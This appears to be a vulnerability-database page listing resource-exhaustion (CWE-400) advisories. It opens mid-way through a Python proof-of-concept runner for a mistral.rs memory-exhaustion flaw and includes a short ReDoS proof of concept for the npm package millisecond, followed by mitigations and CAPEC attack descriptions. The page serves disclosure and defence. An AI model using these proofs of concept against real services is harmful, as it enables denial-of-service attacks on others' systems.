127.0.0.1:\u003cport\u003e\n # --memory : hard cap; kernel sends SIGKILL when exceeded\n # --memory-swap : equal to --memory disables swap usage\n # --rm : clean up after exit\n # ------------------------------------------------------------------\n run_cmd = [\n \"docker\", \"run\", \"--rm\",\n \"--memory\", memory_limit,\n \"--memory-swap\", memory_limit, # No swap fallback.\n \"--network\", \"host\", # Access host\u0027s loopback server.\n docker_image,\n target_url,\n ]\n\n _log(f\"\\n[2] Launching Docker container (memory cap = {memory_limit})\")\n _log(f\" Command: {\u0027 \u0027.join(run_cmd)}\")\n _log(f\" The vuln_harness binary will fetch {target_url} with no byte limit.\")\n _log(f\" Expected: container OOM-killed, exit code 137.\")\n\n t0 = time.monotonic()\n try:\n result = subprocess.run(\n run_cmd,\n capture_output=True,\n timeout=POC_TIMEOUT_S,\n )\n except subprocess.TimeoutExpired as exc:\n server.shutdown()\n _log(f\"[!] Container did not exit within {POC_TIMEOUT_S}s \u2014 killing\")\n subprocess.run([\"docker\", \"kill\", \"--signal=9\"] + [\n c for c in subprocess.run(\n [\"docker\", \"ps\", \"-q\", \"--filter\", f\"ancestor={docker_image}\"],\n capture_output=True, text=True,\n ).stdout.split() if c\n ], capture_output=True)\n elapsed = time.monotonic() - t0\n return {\n \"passed\": False,\n \"verdict\": \"INCOMPLETE\",\n \"exit_code\": None,\n \"evidence\": f\"Container timed out after {elapsed:.0f}s without OOM kill\",\n \"stdout\": (exc.stdout or b\"\").decode(errors=\"replace\"),\n \"stderr\": (exc.stderr or b\"\").decode(errors=\"replace\"),\n }\n\n elapsed = time.monotonic() - t0\n exit_code = result.returncode\n stdout_txt = result.stdout.decode(errors=\"replace\")\n stderr_txt = result.stderr.decode(errors=\"replace\")\n\n server.shutdown()\n\n # ------------------------------------------------------------------\n # Step 3: Analyse outcome.\n # ------------------------------------------------------------------\n _log(f\"\\n[3] Container exited after {elapsed:.1f}s exit_code={exit_code}\")\n _log(f\" stdout: {stdout_txt!r}\")\n _log(f\" stderr: {stderr_txt!r}\")\n\n # Docker exit code 137 = container killed by SIGKILL (OOM killer).\n if exit_code == 137:\n passed = True\n verdict = \"PASS\"\n evidence = (\n f\"Docker container OOM-killed (exit code 137 = 128+SIGKILL) after {elapsed:.1f}s. \"\n f\"vuln_harness buffered the infinite HTTP stream with no byte cap, consuming all \"\n f\"{memory_limit} of available RAM \u2014 identical behaviour to \"\n f\"mistralrs-server-core/src/util.rs:62 (parse_image_url). \"\n f\"stderr={stderr_txt!r}\"\n )\n elif exit_code != 0:\n # Non-zero but not 137: still indicates abnormal termination under memory pressure.\n passed = True\n verdict = \"PASS\"\n evidence = (\n f\"Vulnerable binary terminated abnormally (exit code {exit_code}) after \"\n f\"{elapsed:.1f}s while buffering an unbounded HTTP stream. \"\n f\"This confirms that reqwest::get(url).bytes().await?.to_vec() at \"\n f\"util.rs:62 has no byte cap and causes resource exhaustion. \"\n f\"stderr={stderr_txt!r}\"\n )\n else:\n # Unlikely: the binary finished without being killed. This can happen if\n # the server managed to EOF the stream before OOM, or the memory cap was\n # not enforced by Docker.\n passed = False\n verdict = \"INCOMPLETE\"\n evidence = (\n f\"Binary exited 0 after {elapsed:.1f}s; memory cap may not have been \"\n f\"enforced by Docker. stdout={stdout_txt!r}\"\n )\n\n _log(f\"\\n[VERDICT] {verdict}\")\n _log(f\"[EVIDENCE] {evidence}\")\n\n return {\n \"passed\": passed,\n \"verdict\": verdict,\n \"exit_code\": exit_code,\n \"evidence\": evidence,\n \"stdout\": stdout_txt,\n \"stderr\": stderr_txt,\n }\n\n\ndef main() -\u003e None:\n parser = argparse.ArgumentParser(description=\"VULN-001 PoC runner\")\n parser.add_argument(\"--image\", default=DOCKER_IMAGE, help=\"Docker image name\")\n parser.add_argument(\"--memory\", default=MEMORY_LIMIT, help=\"Docker memory cap (e.g. 256m)\")\n args = parser.parse_args()\n\n outcome = run_poc(docker_image=args.image, memory_limit=args.memory)\n\n _log(\"\\n\" + \"=\" * 70)\n _log(\"RESULT SUMMARY\")\n _log(\"=\" * 70)\n for k, v in outcome.items():\n if k not in (\"stdout\", \"stderr\"):\n _log(f\" {k}: {v}\")\n\n sys.exit(0 if outcome[\"passed\"] else 1)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"id": "GHSA-m3wp-48jr-vr4g",
"modified": "2026-09-10T21:54:37Z",
"published": "2026-09-10T21:54:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/EricLBuehler/mistral.rs/security/advisories/GHSA-m3wp-48jr-vr4g"
},
{
"type": "PACKAGE",
"url": "https://github.com/EricLBuehler/mistral.rs"
},
{
"type": "WEB",
"url": "https://github.com/EricLBuehler/mistral.rs/releases/tag/v0.8.18"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": " mistral.rs: Unbounded Remote Media Fetch and Video Frame Expansion DoS"
}
GHSA-M3XW-HJ39-PX2M
Vulnerability from github – Published: 2024-02-09 15:31 – Updated: 2024-02-13 00:30
VLAI
Details
Bento4 v1.6.0-640 was discovered to contain an out-of-memory bug via the AP4_UrlAtom::AP4_UrlAtom() function.
Severity
5.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-25452"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-09T15:15:09Z",
"severity": "MODERATE"
},
"details": "Bento4 v1.6.0-640 was discovered to contain an out-of-memory bug via the AP4_UrlAtom::AP4_UrlAtom() function.",
"id": "GHSA-m3xw-hj39-px2m",
"modified": "2024-02-13T00:30:26Z",
"published": "2024-02-09T15:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25452"
},
{
"type": "WEB",
"url": "https://github.com/axiomatic-systems/Bento4/issues/873"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M439-4CF8-QGFV
Vulnerability from github – Published: 2023-12-07 12:30 – Updated: 2026-04-28 21:33
VLAI
Details
Uncontrolled Resource Consumption vulnerability in Saturday Drive Ninja Forms Contact Form – The Drag and Drop Form Builder for WordPress leading to DoS.This issue affects Ninja Forms Contact Form – The Drag and Drop Form Builder for WordPress: from n/a through 3.6.25.
Severity
5.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2023-35909"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-07T12:15:07Z",
"severity": "MODERATE"
},
"details": "Uncontrolled Resource Consumption vulnerability in Saturday Drive Ninja Forms Contact Form \u2013 The Drag and Drop Form Builder for WordPress leading to DoS.This issue affects Ninja Forms Contact Form \u2013 The Drag and Drop Form Builder for WordPress: from n/a through 3.6.25.",
"id": "GHSA-m439-4cf8-qgfv",
"modified": "2026-04-28T21:33:18Z",
"published": "2023-12-07T12:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35909"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/ninja-forms/wordpress-ninja-forms-plugin-3-6-25-denial-of-service-attack-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-M43H-HFRQ-X8WX
Vulnerability from github – Published: 2022-06-28 00:00 – Updated: 2024-10-28 14:36
VLAI
Summary
SystemDS CPU exhaustion vulnerability
Details
The Security Team noticed that the termination condition of the for loop in the readExternal method is a controllable variable, which, if tampered with, may lead to CPU exhaustion. As a fix, we added an upper bound and termination condition in the read and write logic. We classify it as a "low-priority but useful improvement". SystemDS is a distributed system and needs to serialize/deserialize data but in many code paths (e.g., on Spark broadcast/shuffle or writing to sequence files) the byte stream is anyway protected by additional CRC fingerprints. In this particular case though, the number of decoders is upper-bounded by twice the number of columns, which means an attacker would need to modify two entries in the byte stream in a consistent manner. By adding these checks robustness was strictly improved with almost zero overhead. These code changes are available in versions higher than 2.2.1.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.systemds:systemds"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "systemds"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-26477"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2022-07-05T22:06:14Z",
"nvd_published_at": "2022-06-27T18:15:00Z",
"severity": "HIGH"
},
"details": "The Security Team noticed that the termination condition of the for loop in the readExternal method is a controllable variable, which, if tampered with, may lead to CPU exhaustion. As a fix, we added an upper bound and termination condition in the read and write logic. We classify it as a \"low-priority but useful improvement\". SystemDS is a distributed system and needs to serialize/deserialize data but in many code paths (e.g., on Spark broadcast/shuffle or writing to sequence files) the byte stream is anyway protected by additional CRC fingerprints. In this particular case though, the number of decoders is upper-bounded by twice the number of columns, which means an attacker would need to modify two entries in the byte stream in a consistent manner. By adding these checks robustness was strictly improved with almost zero overhead. These code changes are available in versions higher than 2.2.1.",
"id": "GHSA-m43h-hfrq-x8wx",
"modified": "2024-10-28T14:36:18Z",
"published": "2022-06-28T00:00:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26477"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-m43h-hfrq-x8wx"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/systemds"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/systemds/PYSEC-2022-222.yaml"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/r4x2d2r6d4zykdrrx6s2l4qbxgzws0z3"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20220812-0003"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "SystemDS CPU exhaustion vulnerability"
}
GHSA-M449-CWJH-6PW7
Vulnerability from github – Published: 2025-11-24 22:42 – Updated: 2026-01-21 16:37
VLAI
Summary
pypdf's LZWDecode streams be manipulated to exhaust RAM
Details
Impact
An attacker who uses this vulnerability can craft a PDF which leads to a memory usage of up to 1 GB per stream. This requires parsing the content stream of a page using the LZWDecode filter.
This is a follow up to GHSA-jfx9-29x2-rv3j to align the default limit with the one for zlib.
Patches
This has been fixed in pypdf==6.4.0.
Workarounds
If users cannot upgrade yet, use the line below to overwrite the default in their code:
pypdf.filters.LZW_MAX_OUTPUT_LENGTH = 75_000_000
Severity
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pypdf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-66019"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-24T22:42:07Z",
"nvd_published_at": "2025-11-26T00:15:51Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to a memory usage of up to 1 GB per stream. This requires parsing the content stream of a page using the LZWDecode filter.\n\nThis is a follow up to [GHSA-jfx9-29x2-rv3j](https://github.com/py-pdf/pypdf/security/advisories/GHSA-jfx9-29x2-rv3j) to align the default limit with the one for *zlib*.\n\n### Patches\nThis has been fixed in [pypdf==6.4.0](https://github.com/py-pdf/pypdf/releases/tag/6.4.0).\n\n### Workarounds\nIf users cannot upgrade yet, use the line below to overwrite the default in their code:\n\n```python\npypdf.filters.LZW_MAX_OUTPUT_LENGTH = 75_000_000\n```",
"id": "GHSA-m449-cwjh-6pw7",
"modified": "2026-01-21T16:37:13Z",
"published": "2025-11-24T22:42:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-jfx9-29x2-rv3j"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-m449-cwjh-6pw7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66019"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/commit/96186725e5e6f237129a58a97cd19204a9ce40b2"
},
{
"type": "WEB",
"url": "https://aydinnyunus.github.io/2025/12/20/cve-2025-66019-pypdf-lzw-dos"
},
{
"type": "PACKAGE",
"url": "https://github.com/py-pdf/pypdf"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/releases/tag/6.4.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "pypdf\u0027s LZWDecode streams be manipulated to exhaust RAM"
}
GHSA-M46H-3MQP-XH9W
Vulnerability from github – Published: 2025-04-08 18:34 – Updated: 2025-04-08 18:34
VLAI
Details
Uncontrolled resource consumption in Windows Standards-Based Storage Management Service allows an unauthorized attacker to deny service over a network.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2025-26680"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-08T18:15:52Z",
"severity": "HIGH"
},
"details": "Uncontrolled resource consumption in Windows Standards-Based Storage Management Service allows an unauthorized attacker to deny service over a network.",
"id": "GHSA-m46h-3mqp-xh9w",
"modified": "2025-04-08T18:34:48Z",
"published": "2025-04-08T18:34:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26680"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-26680"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M473-7RJ2-2FCQ
Vulnerability from github – Published: 2022-05-14 01:37 – Updated: 2022-05-14 01:37
VLAI
Details
An issue was discovered in Bento4 1.5.1-627. AP4_Sample::ReadData in Core/Ap4Sample.cpp allows attackers to trigger an attempted excessive memory allocation, related to AP4_DataBuffer::SetDataSize and AP4_DataBuffer::ReallocateBuffer in Core/Ap4DataBuffer.cpp.
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2018-20186"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-12-17T19:29:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Bento4 1.5.1-627. AP4_Sample::ReadData in Core/Ap4Sample.cpp allows attackers to trigger an attempted excessive memory allocation, related to AP4_DataBuffer::SetDataSize and AP4_DataBuffer::ReallocateBuffer in Core/Ap4DataBuffer.cpp.",
"id": "GHSA-m473-7rj2-2fcq",
"modified": "2022-05-14T01:37:57Z",
"published": "2022-05-14T01:37:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-20186"
},
{
"type": "WEB",
"url": "https://github.com/axiomatic-systems/Bento4/issues/342"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M489-XR35-FJXR
Vulnerability from github – Published: 2021-09-22 20:35 – Updated: 2021-09-22 20:34
VLAI
Summary
Regular Expression Denial of Service in millisecond
Details
Versions of millisecond prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.
Proof of concept
var ms = require('millisecond');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
ms(genstr(process.argv[2], "5") + " minutea");
Recommendation
Update to version 0.1.2 or later.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "millisecond"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2021-09-22T20:34:42Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "Versions of `millisecond` prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.\n\n\n## Proof of concept\n```\nvar ms = require(\u0027millisecond\u0027);\nvar genstr = function (len, chr) {\n var result = \"\";\n for (i=0; i\u003c=len; i++) {\n result = result + chr;\n }\n\n return result;\n}\n\nms(genstr(process.argv[2], \"5\") + \" minutea\");\n```\n\n\n## Recommendation\n\nUpdate to version 0.1.2 or later.",
"id": "GHSA-m489-xr35-fjxr",
"modified": "2021-09-22T20:34:42Z",
"published": "2021-09-22T20:35:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/unshiftio/millisecond/pull/4"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/59"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Regular Expression Denial of Service in millisecond"
}
GHSA-M48R-FQQR-R9GC
Vulnerability from github – Published: 2022-05-13 01:01 – Updated: 2022-05-13 01:01
VLAI
Details
A remote denial-of-service vulnerability exists in the way the Nouveau Display Driver (the default Ubuntu Nvidia display driver) handles GPU shader execution. A specially crafted pixel shader can cause remote denial-of-service issues. An attacker can provide a specially crafted website to trigger this vulnerability. This vulnerability can be triggered remotely after the user visits a malformed website. No further user interaction is required. Vulnerable versions include Ubuntu 18.04 LTS (linux 4.15.0-29-generic x86_64), Nouveau Display Driver NV117 (vermagic: 4.15.0-29-generic SMP mod_unload).
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2018-3979"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-04-01T21:30:00Z",
"severity": "MODERATE"
},
"details": "A remote denial-of-service vulnerability exists in the way the Nouveau Display Driver (the default Ubuntu Nvidia display driver) handles GPU shader execution. A specially crafted pixel shader can cause remote denial-of-service issues. An attacker can provide a specially crafted website to trigger this vulnerability. This vulnerability can be triggered remotely after the user visits a malformed website. No further user interaction is required. Vulnerable versions include Ubuntu 18.04 LTS (linux 4.15.0-29-generic x86_64), Nouveau Display Driver NV117 (vermagic: 4.15.0-29-generic SMP mod_unload).",
"id": "GHSA-m48r-fqqr-r9gc",
"modified": "2022-05-13T01:01:48Z",
"published": "2022-05-13T01:01:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-3979"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2018-0647"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Architecture and Design
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
Architecture and Design
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Implementation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.